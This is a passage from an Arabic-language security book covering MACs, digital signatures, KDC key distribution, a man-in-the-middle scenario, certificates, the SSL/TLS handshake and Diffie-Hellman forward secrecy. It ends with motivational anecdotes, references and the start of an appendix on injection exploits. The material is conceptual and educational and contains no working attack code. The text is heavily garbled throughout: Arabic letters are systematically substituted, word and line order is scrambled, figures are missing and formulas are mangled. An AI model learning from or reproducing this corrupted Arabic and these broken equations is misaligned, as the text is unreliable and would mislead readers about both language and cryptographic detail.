واآلن وبعد معرقتنا اجليدة ملفهوم ال ُ ،Authenticationيمكننا االنتقال لىل ذذه التكنولوجيا ا ُملستخدمة لتحقيق ال
Authenticationبني طرقني ،وذي ال .MAC
ما ذذا ال ..MAC؟
Cryptography
][370
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
) MAC = C ( K, M
Cryptography
][371
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ذذا الشكل يبدو واضح ًا و ُمبارش يف تطبيقه لل MAC Functionو عمل ال Calculationلل MACيف الناحية
األطرى ثم عمل املُقارنة بينهم.
الشكل الثاين:
ُقمنا ُذنا بإضاقة ططوة ،بعد استخدام ال MAC Functionلل Keyيف لنتاج ال ُ ،MACقمنا باستخدام Keyآطر
لتشفري (الرسالة +ال )MACلنُعطي احلامية للرسالة يف حالة التقاطها!.
ذذا يعني أننا حققنا طاصيتني:
ال Authenticationحققناه ولكن لل ،plaintextأي للرسالة قبل تشفريذا! .وال Confidentialityعن طريق
استخدام ال .K2
Cryptography
][372
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الشكل الثالث:
الحظ أننا ُذنا قمنا بتشفري الرسالة أوالً ثم ُقمنا بتطبيق ال MAC Functionعىل الرسالة ا ُملشفرة!.
َقأص َب َح ذذا النموذج ُحيقق لنا ال Authenticationلل ،Ciphertextوال Confidentialityعن طريق التشفري
باستخدام املفتاح .K2
Digital Signature
ال Digital Signatureذي عبارة عن تطبيق ال ” “Public Key Cryptographyمع ال ”،“Hashing Function
Authenticity
قهي لثبات ” “Proofهلوية الشخص الذي قام بإرسال ذذه ال Document
Cryptography
][373
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Integrity
لهنا تعطينا لثبات وتأكيد أن ال Documentذذه مل تتعرض ألي تعديل أو تغيري أثناء ال Signingأو أثناء رحلتها
للينا .وذذا بسبب تعا ُملها مع كل Binary Bitهلذه ال Documentا ُملراد لرساهلاُ ،ما َيكشف أي عملية دمج أو حذف
أو لضاقة حرف واحد هلذه ال Documentبعد تطبيق ال Algorithmعليها.
Nonrepudiation
وذذه طاصية ُمهمة ،حيث تضمن عدم لنكار ا ُملرسل إلرساله ذذه ال Documentبكل كلمة قيها! ،ق ُت َعد ِبذا ُمستنَد
رسمي ُيمكن لدانته به!.
ذذا شكل يوضح تطبيق ال Digital Signatureبام ُحيقق ذذه اخلصائص املذكورة:
Cryptography
][374
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يوضح الشكل ططوات تطبيق ال Signatureعىل وثيقة تقوم السيدة ” “Roseبإرساهلا لىل السيد ”.“Kevin
Cryptography
][375
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][376
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
.(h’) لتُقارن ُه بال،(h) قينتج ال،(M) أيض ًا عىل الرسالةMD5 قتقوم بتطبيق ال
لال، يف قك التشفريpublic key وتعتمد عىل ال، يف التشفريprivate key عىل استخدام الSignature تعتمد ذذه ال
Global Public Key (Pug) وذو ال،أهنا تستقبل عنرص ثالث أيض ًا يف ذذه العملية
Cryptography
[377]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يف النهاية َينتُج عن ذذه ال Algorithmقيمتني َيتم لضاقتهم مع الرسالة وذم ( )sو (.)r
Cryptography
][378
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ذذه ال تعتمد عىل الرسالة ) (Mيف يشء! ،بمعنى أن ال ) (Mليست من ضمن ا ُملدطالت اخلاصة ِبا ،وذذا ما يزيد
قوهتا!.
وعندما تَصل الرسالة لىل الطرف اآلطر ،سيقوم ب َعمل َبعض احلسابات إلنتاج قيمة نُسميها ) ،(vسيقوم بمقارنتها بال
( )rالقادمة من الطرف األول ،وجيب أن يتشاِبا ،ولال قيتم رقض الرسالة.
Cryptography
][379
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Key Distribution
Cryptography
][380
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ذذا شكل ال Symmetric Encryptionالتقليدي ،ونريد ذنا أن يصل ذذا ال keyللطرقني بشكل آمن!.
سنُطلق عىل ذذا ال keyباألعىل ” “Session Keyوذو ال keyا ُملستخدم يف عملية تبا ُدل البيانات بني الطرقني Aو
،Bأطلقنا عليه Sessionألنه سيتغري عند عملية بدء Sessionجديدة .ذذا ينطبق عىل ال Applicationsالتي
تستخدم ال TCPكربوتوكول لنقل البيانات بشكل عام.
سيقوم Aبالتواقق عىل ) Key (Kaآطر نُطلق عليه ” ،“Master Keyبينه وبني طرف ثالث ) ،(KDCوأيض ًا الطرف
Bسيتواقق مع ذذا ال ) (KDCعىل keyأيض ًا ).(Kb
لنأطذ مثال:
Cryptography
][381
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][382
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
سيبدأ بإرسال طلب لىل ال KDCيط ُلب منه ،Session Keyذذا ال َط َلب يتكون من ثالثة ُمتغريات.
األول ذو ال IDAويعني Identity of Aكأن يكون ال IP Addressاخلاص به عىل سبيل املثال ،والثاين ذو ال IDB
قيقوم ال KDCبالرد عليه بإرسال رسالة ل ُه وقد تم تشفريذا بال ) ،(Kaقيتمكن الطرف Aمن قكها ألنه قد اتفق مع
ال KDCعىل ذذا ال Keyمن َقبل.
خرج منها عدة ُمتغريات أيض ًا..
ذذه الرسالة َبعدَ قكها َس َي ُ
َس ُيعطي ل ُه ال KDCال Session Keyالذي ُيريده Aلبدء ال Sessionمع Bوذو ال ) ،(Ksويقوم بإضاقة حمتويات
الرسالة السابقة التي أرسلها له ،Aوذذا للتأكيد عىل أن ذذا ال Responseطاص بال Requestالذي أرسلته ل ّيل
اآلن! ،وليس لطلب غريه ،وذذا يظهر من طالل لرجاع ال KDCنفس الرقم العشوائي N1لىل Aكام ذوَ ،حتمل
الرسالة أيض ًا ال ،Kbوذو ال Keyالذي أعطاه ال KDCللطرف .B
ِّ
Cryptography
][383
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الحظ أن اخلطوات الثالثة والرابعة واخلامسة تم وضعهم لتحقيق لل ” “Authenticationبني الطرقني Aو Bققط،
وليست من ضمن عملية ال Key Distribution
ويمكن ألي طرف لرسال ال Public Keyاخلاص به ألي طرف يريده كام يظهر يف الشكل التايل ،وذذا يعد لجراء
غري آمن! ،قربام يقوم أحدذم بإرسال أي Public Keyواإلدعاء أنه Aطصوص ًا يف حاالت املجموعات الربيدية.
Cryptography
][384
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وذذا مثال ُمبسط يوضح لرسال ال ) (Ksباستخدام ال .Asymmetric Encryptionيقوم ُذنا الطرف Aبإرسال ال
Public Keyاخلاص به ) (PUaلىل الطرف ،Bقيقوم Bبإرسال ال Ksوذو ال ” “Session Keyلىل Aبعد تشفريه
باستخدام ال ) ،(PUaقيقوم Aبفك التشفري باستخدام ال Private Keyاخلاص به ..ولكن من ا ُملمكن هلذا السيناريو
أن يتعرض لل ِ MITM Attackبذا الشكل:
Cryptography
][385
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
سيقوم السيد ُ Darthذنا باإلمساك بال PUaواالحتفاظ بهُ ،ثم يقوم بعمل generateل Public Keyجديد و ُيرسل ُه
لىل ُ ،Aliceثم يف العودة سيأيت ال Ksله ،يأطذ نُسخة من ُه ُثم َيقوم بتشفريه مر ًة أطرى باستخدام ال PUaو ُيعيد
لرساله لىل السيد .Bob
وبالتايل يلزم وجود طريقة آمنة للقيام بتوزيع ال Public Keysبني األطراف دون تعرضها للخطر! .وذذا سيتم
بوجود طرف ثالث كأن يتم تسليم ال Keyبشكل يدوي ،أو باستخدام أحد الطرق التالية يف عملية ليصال ال PUa
Cryptography
][386
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ذذا سيناريو يوضح تفاصيل لنشاء االتصال بني Aو Bعرب ال .Authority
Cryptography
][387
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يظهر يف الشكل اخلطوات ا ُملتبَعة يف ذذه العملية ،تبدأ بقيام Aوذو ال Initiatorبإرسال طلب لىل ال Authority
يط ُلب ال Public Keyاخلاص بالطرف .Bقرتد عليه بإرسال ال Public Keyاخلاص بالطرف Bبرسالة ُمشفرة
بال Private Keyاخلاص بال ،Authorityوبام أن Aلديه ال Public Keyاخلاص ِبا قسيتمكن من قك التشفري.
يقوم Aبإرسال ال IDاخلاص به مع رقم عشوائي يقوم باطتياره N1لىل Bيف رسالة ُمشفرة باستخدام ال .PUb
قيقوم Bبطلب ال PUaمن ال Authorityذو أيض ًا ..و ُيرسل لىل Aنفس الرقم العشوائي ،N1ويقوم بعمل
Incrementهلذا الرقم بواحد مثالً ،لنُسميه ،N2ويرسله أيض ًا مع األول كَنوع من ال .Authenticationيتم لرساهلم
يف رسالة ُمشفرة بال PUaكام يظهر يف اخلطوة رقم ).(6
َ
وصل لليه بالفعل! ،كام ذو موضح باخلطوة رقم ).(7 َق َ ُريد عليه Aبإرسال الرقم N2مر ًة أطرى ليؤكد له أنه قد
تم ال َت َغ ُّلب عىل ذذا األمر باستخدام ال .Certificatesتُتيح ذذه ال Certificatesلألطراف التواصل قيام بينها ل َت َبا ُدل
ال Public Keysدون احلاجة للتواصل طالل ال .Public Key Authority
ذذه بعض اخلصائص ا ُمل َميِّزة لل :Certificate
Cryptography
][388
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
.1ألي طرف يتواصل مع Aيستطيع قراءة ال Certificateواإلطالع من طالهلا عىل بيانات الطرف Aوعىل
ال Public Keyاخلاص به.
ليست ُمزيفة!.
.3أي طرف أو ُمستخدم ُيمكن ُه التح ُّقق من تاريخ أو صالحية ذذه ال ،Certificateبالطبع يعد التاريخ من اخلصائص
املهمة للشهادات ،نُالحظ رقض ا ُملتصفحات َقتح بعض َمواقع اإلنرتنت يف حالة عدم ضبط ساعة جهاز الكمبيوتر،
ُ
حيث َيعتَرب حينها أن ال ُ Certificatesمنتهية الصالحية!.
َ .4حيق ققط لل Certificate Authorityعملية لنشاء أو جتديد ال .Certificate
عرب الشكل التايل عن عملية حصول كل منهم عىل ال Certificateاخلاصة به من ال :Certificate Authority
و ُي ِّ
Cryptography
][389
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يقوم الشخص بإرسال ال Public Keyاخلاص به لىل ال ،CAوتقوم ذي بإرسال ال )Public Key (PUauth
اخلاص ِبا لليهُ .ثم تتم عملية لنشاء الشهادة داطل ال CAبتطبيق جمموعة من اخلطوات ،وبعدذا تقوم بإرساهلا لىل
الشخص ذاته كام يظهر بالشكل ،عىل ذيئة رسالة ُمش ّف َرة بال PUauthوِبا بيانات ذذا الشخص من لسمه أو ID
اخلاص به ،وال Public Keyاخلاص به ،ويشء أطري ُيسمى ) ،Timestamp (Tوذو ُ fieldي َع ِّرب عن تاريخ صدور
الشهادة ويستخدم من قبل الطرف املستلم للتحقق من ال Currencyهلذه الشهادة.
املعادلة التالية تعرب عن عملية ال Decryptionالتي تتم بواسطة أي طرف عند استالمه ال Certificateاخلاصة
بالطرف :A
)D (PUauth, CA) = D (PUauth, E (PRauth, [T || IDA || PUa])) = (T || IDA || PUa
قيقوم بعمل Decryptionهلا باستخدام ال Public Keyاخلاص بال Authurityليتمكن من رؤية بيانات الشهادة
وال Public Keyاخلاص بالطرف .A
Cryptography
][390
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وذلك بقيامه. عرب اإلنرتنتBrowsers والWeb Servers يف تشفري البيانات بني الTLS أو الSSL ُيستَخدَ م ال
ومن َثم تَبا ُدل البيانات، املُستخدَ مة يف تأمني اإلتصال وترتيبهاAlgorthims بإجراء التواقق بني الطرقني عىل أنواع ال
.بأمان
info.ssl.com ماييل مقدمة ِسيعة عنه من موقع
SSL is the standard security technology for establishing an encrypted link between a web server and a
browser. This link ensures that all data passed between the web server and browsers remain private and
integral. SSL is an industry standard and is used by millions of websites in the protection of their online
transactions with their customers.
To be able to create an SSL connection a web server requires an SSL Certificate. When you choose to
activate SSL on your web server you will be prompted to complete a number of questions about the
identity of your website and your company. Your web server then creates two cryptographic keys - a
Private Key and a Public Key.
The Public Key does not need to be secret and is placed into a Certificate Signing Request (CSR) - a data
file also containing your details. You should then submit the CSR. During the SSL Certificate application
process, the Certification Authority will validate your details and issue an SSL Certificate containing your
details and allowing you to use SSL. Your web server will match your issued SSL Certificate to your
Private Key. Your web server will then be able to establish an encrypted link between the website and
your customer's web browser.
Typically an SSL Certificate will contain your domain name, your company name, your address, your
city, your state and your country. It will also contain the expiration date of the Certificate and details of
the Certification Authority responsible for the issuance of the Certificate. When a browser connects to a
secure site it will retrieve the site's SSL Certificate and check that it has not expired, it has been issued by
a Certification Authority the browser trusts, and that it is being used by the website for which it has been
issued. If it fails on any one of these checks the browser will display a warning to the end user letting
them know that the site is not secured by SSL.
Cryptography
[391]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
أي َ
قوق ال .TCPقهو يعمل ك Socketبني ال Application يعمل بروتوكول ال SSLقوق ال َ ،Transport Layer
Layerوال ،Transport Layerويقوم بتأمني اإلتصال لل Applicationsالتي تعتمد عىل ال TCPكربوتوكول لنقل
ال Dataكام يظهر بالشكل التايل:
يقوم ال SSLبخدمة ال Application Layer Protocolsكال ،HTTPويعتمد عىل ال TCPيف عملية نقل ال
Messagesبني ال Web Serversوال .Browsers
واآلن ..سنبدأ بتغطية ال SSLبيشء
من التفصيل .يف احلقيقة ،ال يعمل ال
SSLيف طبقة وحيدة ،أي أنه ال ُي َعد
عمل يف
!..Single Protocolولكن َي َ
طبقتني قوق ال TCPكام يظهر
بالشكل .أيض ًا ُيظهر لنا الشكل بعض
التفاصيل اخلاصة ِبذا الربوتوكول،
”.“SSL Protocol Stack
Cryptography
][392
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Handshake Phase
تتم يف ذذه املرحلة عملية ال Authenticationبني ال Clientوال ،Serverوالتفاوض )َ (Negotiateحول نوع ال
Cryptographic Algorithmsوال Keysا ُملستَخدَ مة يف تأمني لرسال ال .Data
ماييل شكل يوضح ال Messagesالتي تتم طالل ذذه املرحلة بني ال Clientوال .Server
ُي َعد ال ُ Handshake Protocolذنا املسؤول عن عملية ال Authenticationوال Negotiationذذه.
Cryptography
][393
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[394]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وحتوي،Msg عن طريق لرسال ذذه الWeb Server مع الSession ُذنا ببدء الClient (Browser) يقوم ال
:اآليت
Version
The Client sends the version number that it supports. For example, for SSLv3, the version
number is 3.0. For TLS, the version number is 3.1.
Random
حيدُ ثConnection لكُلClient والServer خيتار ُه كل من ال26 Byte ذو عبارة عن رقم عشوائي ُمكون من
.بينهم
Cipher Suite
This is the list of cipher suites that are supported by the Client.
: َسنَعرض أحدذمCipher Suite وكَمثال لتوضيح ذذا ال
)TLS_RSA_WITH_DES_CBC_SHA(
TLS is the protocol version, RSA is the algorithm that will be used for key exchange, DES_CBC
is the encryption algorithm, and SHA is the hash function.
Cryptography
[395]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
نستنتج من طالل البدائل املطروحة حتت ال cipher suitesأن ذذا ال browserيدعم طاصية ال PFSوتعني:
)(Perfect Forward Secrecy
وذلك بسبب لعطاء أولوية لنوعني ذم )..(DHE and Elliptical DH
Cryptography
][396
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُ
حيث يعني أهنا Sessionجديدة!. ،Helloأيض ًا ال Versionوال ُ ،Randomثم ال Session IDوقيمت ُه "صفر"
وأطري ًا يأيت لنا أذم Parameterيف ذذه الرسالة وذو اإلحتامالت أو البدائل التي َيعرضها ال Browserعىل ال Web
Serverكي يقوم ال Serverباطتيار واحدة من ذذه ال Cipher Suitesولبالغ ال ِ Browserبا يف الرسالة التي
وذي ال ”.“Server Hello
تليهاَ ،
نُالحظ يف السطر قبل األطري أن ال Web Serverقام باطتيار أحد البدائل ،ونستنتج من اطتياره ذذا ماييل:
The long-term keys are used both for the server’s authentication and for the session key
generation by means of RSA key exchange mechanism.
Cryptography
][397
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وذذا يعني أن ال serverمل يتم ضبط اإلعدادات لديه ليختار أحد البدائل التي تدعم طاصية ال ،PFSتذكر ذذا ال
cipher suiteالذي اطتاره ال serverألننا سنتحدث عنه يف ققرة ال .PFS
تبدأ ذذه اخلطوة بأن يقوم ال Web Serverبإرسال ال Certificateاخلاصة به لىل ال ،Browserوحتوي ال Public
Cryptography
][398
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
قيقوم ال Serverبتطبيق ال Server’s Private Keyعىل الرسالة و َع َمل recoverلل .Pre_Master_Secret Key
نُالحظ لرسال ال Serverلل Certificateيف أول .Messageأيض ًا الرسالة الثانية التي بعنوان
” “Server_Key_Exchangeمكتوب بجانبها )!..(Optional
Cryptography
][399
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ملاذا؟
ألن ال ُ Serverذنا قام باطتيار ،RSA key exchangeبالتايل لن يكون بحاجه هلاُ ،ثم ُينهي ال Serverا ُ
خلطوة الثانية
وخيطر ِبا ال Clientأنه أهنى ذذه اخلطوة ،وينتظر الرد من طرف ال .Client
برسالة ”ُ “Server_Hello_Done
ماييل Sessionألول رسالة أرسلها ال Serverالتي حتوي ال .Certificate
Cryptography
][400
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وقيها َحيدُ ث التواقق بني ال Clientوال Serverعىل ” “Shared Keyقيام بينهم وذو ”“Pre_Master_Secret_Key
Cryptography
][401
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
بمعاد َلة ُ
يدطل ِبا ال ”“Pre_Master_Secret Key وذو عبارة عن ) ،(One-time 48-byte valueيتم لنتاج ُه ُ
وال ”.“Client and Server Random values
ذي التي قد تَم تبا ُدهلا أثناء ال ” “Hello_Messagesيف اخلطوة األوىل ،ويتم ذلك بتطبيق ال
ذذه ال َ Randoms
Cryptographic Hash Algorithmsعىل ذذه ا ُملدطالت.
ولكن ما قائدة دطول ال " "Client and Server Random valuesيف ذذه العملية؟
ذذه ال ُ Randomت َعد ب َمثابة ال ” “Saltيف ذذه ا ُملعادلة ،لكي تكون العالقة بني ا ُملدطالت وا ُملخرجات عالقة غري
ُمبارشه ..حتدثنا عن قائدة ال Saltيف عملية التشفري من قبل! ،ذل تتذكرذا؟ ..الشكل التايل يوضح تفاصيل الرسالة
التي قام ال Clientبإرساهلا لىل ال .Server
Cryptography
][402
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][403
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
كام ييل:
يظهر يف الشكل بعد انتهاء رسالة ال Finishedبداية تَبا ُدل ال ) (Application Layer Dataب َشكل آمن ّ
وِسي.
Cryptography
][404
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
بنا ًء عىل الشكل ،يستلم ذذا الربوتوكول ال Dataمن ال Application Layerويقوم بعمل َ Fragmentهلا ُثم
ضغطها ،ولضاقة ال Message Authentication Codeعليهاُ ،ثم تشفريذا بال ُ Key_Blockثم أطري ًا لضاقة ال
Headerاخلاص به عىل ال Packetوتسليمها لىل ال TCPلتَبدأ َع َملية نقلها لىل الطرف اآلطر.
Cryptography
][405
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
قهو ُي َعد من أذم الربوتوكوالت املُستَخدَ مة يف العديد من ال،SSL ِبذا نكون قد أهنينا احلديث عن بروتوكول ال
.Applications
Cryptography
[406]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
قبل أن نرشع برشح ذذه التقنية ،سنقوم أوالً باملرور ِسيع ًا عىل أذم ططوات املثال السابق..
يبدأ اإلتصال بعملية ال Handshakeحيث تتم ال Authenticationقيام بينهمُ ،ثم التواقق عىل ال session key
الذي سيتم استخدامه يف تشفري البيانات هلذه ال sessionوربام يمتد استخدامه لعدة مرات أطرى ،وبعدذا يتم
التخلص منه .ووظيفة ال ” “key exchange phaseذنا ذي تأمني عملية انتقال ال session keyقيام بينهم .يف املثال
السابق تم استخدام ال RSAهلذه العملية ،بمعنى أن ال ”ُ “server’s private keyيستخدم حلامية ال.session key
لكن ذناك نقطة ضعف ،وذي أنه لن تم وقوع ذذا ال private keyيف يد أحدذم قسيتمكن من كشف ال session
Cryptography
][407
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
..private key على الsession key واآلن وبعد أن تعرقنا عىل نقطة ضعف اعتامد ال
.! هلذه العملية ملا ل ُه من لمكانية رائعة يف التغلب عىل نقطة الضعف ذذهDH سنقوم باستخدام ال
When we use Diffie–Hellman key exchange in SSL, it is only used for deriving a session keys,
the authentication of the server is done by the server’s private key.
The use of Diffie–Hellman key exchange is to use a separate method to derive session key
independent from the server's private key.
وكيف يتم ذلك؟
..سنوضح األمر بطريقة ُمبسطة
ِّ ويف نفس الوقت سن،DH لنتصور مع ًا أنه وجود طرقان يتواصالن باستخدام ال
ُعرض ذذه القناة لالطرتاق لنرى
!مايمكن أن حيدث
Cryptography
[408]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
سيقوم Bobو Saraبالتواقق عىل لون قيام بينهام ،وليكن اللون "األزرق" ،قيلتقطه السيد
.. eavesdropperالبأس!.
ُ ثم يقوم كل منهم عىل حدة باطتيار لون آطر دون أن ُخيرب الطرف اآلطر به! ،أي أنه أمر ِسي لكل
طرف ،ققامت Saraباطتيار اللون "األمحر" ،وقام Bobباطتيار اللون "األطرض" ،و ُي َمثِّل ذذين
اللونني ال ” . “private keyومل يتمكن ال eavesdropperمن معرقة اللونني ألنه مل يتم تبادهلم عرب
القناة!.
وبعد ذلك يقوم كل طرف بخلط اللونني مع ًا ،أي اللون األزرق مع اللون الُسي الذي تم اطتياره،
قينتج ذلك ال Mixedلكل منهم .ذذا ال ُ Mixedي َم ِّثل ال ”.“Public key
ومل يتمكن ال eavesdropperمن معرقة ذذا ال shared keyبالرغم من جتسسه عىل قناة اإلتصال
بينهم!.
Cryptography
][409
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
* Note- The perfect forward secrecy offered by (DHE) comes at a price, “more computation”.
The (ECDHE) variants use elliptic curve cryptography to reduce this computational cost.
Cryptography
[410]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
: ا ُملستخدم بينكم كامييلcipher suite سيظهر لك الServer عن طريق اإلتصال بال
Cryptography
[411]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][412
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
،PFS التي تدعم الcipher suites الحظ لعطاء األولوية لىل ال
Cryptography
[413]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][414
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ماييل نتائج اإلطتبار اخلاصة بال cipher suitesالتي يدعمها املتصفح اخلاص يب ،وذو FireFox
Cryptography
][415
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
لنه أحد ال cipher suitesالتي قدمها املتصفح لىل ال serverأثناء مرحلة ال handshakeعندما كنا نتحدث عن
بروتوكول ال ،SSLوأيض ًا قام ال serverباطتياره!.
قض ً
ال عن أنه اليدعم ال ،Forward Secrecyقهو ُمصنف بأنه ضعيف!.
سنقوم اآلن بإلغائه من البدائل التي يقوم املُتصفح اخلاص يب بتقديمها باتباع اخلطوات املوضحة بالشكل:
نقوم بكتابة about:configيف الرشيطُ ،ثم يف طانة البحث نكتب SSL3قيظهر لنا ال cipher suitesالتي يدعمها
املتصفح ،قنقوم بإلغاء ذذا ال cipher suiteالضعيف عن طريق جعل قيمته املناظرة ب .False
Cryptography
][416
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
واآلن سنعود مر ًة ُأطرى لىل ssllabsلنخترب ا ُملتصفح بعد ذذا اإلجراء لنتأكد من عدم ظهور ذذا ال cipher suiteمع
البدائل التي يدعمها املتصفح.
ذاذي النتائج ،واليوجد من بينها ال cipher suiteالضعيف!.
سننتقل اآلن لىل آطر ققرة يف ذذا الباب ،وذي بعنوان ”“Success Algorithms
Cryptography
][417
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Success Algorithms
بام أنك اآلن أصبحت َر ُجالً َر َقمي ًا بامتياز ،دعني ُأقدم لك بعض اخلوارزميات ا ُملختارة التي ُيمكنُك اعتامدذا
دائم التَقدُّ م لىل األمام.
لتَكون َ
مت بإطالق لفظة "طوارزمية" عليها متاشي ًا مع موضوع ذذا الباب ،الذي كان اخلتام لكتايب.
ُق ُ
Cryptography
][418
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
استودعت مفتاح داري عند جارة يل كبرية يف السن ،قأحسست باحلرج من أن
ُ الس َفر ،وك ُ
ُنت قد ذات يوم من َ
دت َُع ُ
برجل يسألني :ماذا بك؟
أوقظها يف منتصف الليل .وبينام أنا كذلك ،لذا ُ
قلت :أود أن أقتح بيتي وليس معي املفتاح!.
قال :أنا أقتح ُه لك ،قهذه صنعتي!.
قفتحه ذاك الرجل بالفعل،
ققال له الشيخ :لنزل عيل ضيف ًا الليلة.
والس َعة ،قليس عندي بيت من األساس!.
قرد الرجل :عىل الرحب َ
خيرج كل صباح باكر ًا باحث ًا عن رزقهُ ،ثم يعود يف آطر اليوم طا َيل
يقول الشيخ ،قنزل عيل ضيف ًا لبضعة شهور! ،وكان ُ
اليدين ،ومل يكن يعلم الشيخ أنه لص!.
ققد كان يتأمل ُه وذو يستيقظ كل يوم بكل حيوية ونشاط وينطلق للسعي عىل رزقه ،ثم يأيت بال مال،
وكان يسأله الشيخ :ماذا كسبت؟ ،قريد عليه :ال يشء! ،غد ًا لنشاءاهلل يأتيني الرزق ..وذكذا..
قكان رجل عجيب! ،ال ييأس ،لديه لقبال عىل احلياة وطموح عاليني! ،ال يتضجر من القضاء والقدر!.
قتعلمت من ُه الكثري!.
ُ قال الشيخ:
Cryptography
][419
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الحظ بعض الباحثني وجود عالمة ُمشرتكة بني عدد من ا ُملخرتعني وال ُع َلامء .وذي أهنم كانوا ُمصابني بنوع من
َ
واستكمل الشيخ ..وأما الكلب ..قكان ُيساب ُقني لىل َجد َول ماء ،قيه ُعمق ،أي أنه عميق بعض اليشء.
قلام أقدَ َم ذلك الكلب لىل اجلَدول ،يبدو أنه رأى صورته يف املاء!،
العطش غلب ُه ،قعاد ..ثم ارتد قزع ًا ..وذكذا لعدة ُحماوالت.
َ َق َفزع! ،قابتَعد ..لكن
لىل أن غلب ُه العطش قألقى بنفسه يف املاء!.
قتعلمت من ذذا الكلب ..أن أكثر معاركنا ،وأكثر رصاعاتنا ،وأكثر ُماوقنا ذي أوذا ُمنا!!
ُ قال..
نخ ُل ُقها ُثم نُسق ُطها عىل الواقع ونُصدِّ ُقها!.
ذذه املخاوف ذي التي تُتع ُبنا ..ذي التي تُصي ُبنا باإلعياء!.
وذذه ذي اخلوارزمية الثانية للنجاح..
Cryptography
][420
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُمعظم األمور تبدو صعبة يف بدايتها ،لكن بالتحيل ببعض الشجاعة واحلكمه ُيمكن ال َت َغ ُّلب عىل ُ
الص ُعوباتُ ،ثم النّ َظر
ققت َذدق ًا ،احتفل به ،واقرح به!ُ ،ثم انتقل لىل الذي َيليه!.
لىل ما وراءذا ،وذكذا ..كُلام َح َ
Cryptography
][421
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ب أن ُأذنِّئك..
ُأح ُ
صلت لىل هناية ذذا الكتاب ب َحمد اهلل تعاىل..
لقد َو َ
أمتنى أن يكون قد َ
نال لعجابك..
][422
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
[423]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
References
Books:
Ref (1) Hacking, the art of exploitation (2nd Edition).
Ref (2) Computer Networking, a top-down approach (Sixth Edition).
Ref (3) The Shellcoders Handbook.
Ref (4) Practical Malware Analysis.
Ref (5) Practical Packet Analysis (2nd Edition).
Ref (6) Grayhat Hacking (3rd Edition).
Ref (7) Cryptography and Network Security (Fifth Edition).
Ref (8) Sybex CISSP Studygide (3rd Edition).
Ref (9) Sybex CISA Studyguide (2nd Edition).
Ref (10) The Practice of network security monitoring – Nostarch press
Websites:
www.wikipedia.com
www.stackoverflow.com
[424]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Appendixes
(A), (B) and (C)
[425]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ليتم لدطالdata entry أو الinput عىل أهنا الثغرات التي تَستَخدم طاصية الinjection exploits نقوم بتعريف ال
.operation قينتُج بذلك تغيري أو ختريب لوظيفة ذذه ال، املطلوبةdata كود بدالً من لدطال ال
[426]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ذذا ال Scriptسيقوم بعمل accessلىل ال Data Baseاخلاصة بتعليقات الزوار ،ليلتقط منها آطر تعليق ُثم يعرضه
للمستخدمني.
عىل الشاشة ُ
][427
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
